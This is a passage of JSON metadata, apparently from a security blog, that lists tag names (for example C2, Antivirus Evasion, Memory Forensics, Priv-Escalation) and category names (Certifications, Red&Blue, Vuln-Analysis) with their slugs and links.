Teaming","slug":"Blue-Teaming","link":"/tags/Blue-Teaming/"},{"name":"Memory Forensics","slug":"Memory-Forensics","link":"/tags/Memory-Forensics/"},{"name":"C2","slug":"C2","link":"/tags/C2/"},{"name":"PowerShell","slug":"PowerShell","link":"/tags/PowerShell/"},{"name":"C#","slug":"C","link":"/tags/C/"},{"name":"Antivirus Evasion","slug":"Antivirus-Evasion","link":"/tags/Antivirus-Evasion/"},{"name":"C&C++","slug":"C-C","link":"/tags/C-C/"},{"name":"Linux","slug":"Linux","link":"/tags/Linux/"},{"name":"Priv-Escalation","slug":"Priv-Escalation","link":"/tags/Priv-Escalation/"},{"name":"Format String","slug":"Format-String","link":"/tags/Format-String/"}],"categories":[{"name":"Certifications","slug":"Certifications","link":"/categories/Certifications/"},{"name":"Docs","slug":"Docs","link":"/categories/Docs/"},{"name":"Experience","slug":"Experience","link":"/categories/Experience/"},{"name":"Red&Blue","slug":"Red-Blue","link":"/categories/Red-Blue/"},{"name":"Vuln-Analysis","slug":"Vuln-Analysis","link":"/categories/Vuln-Analysis/"}]}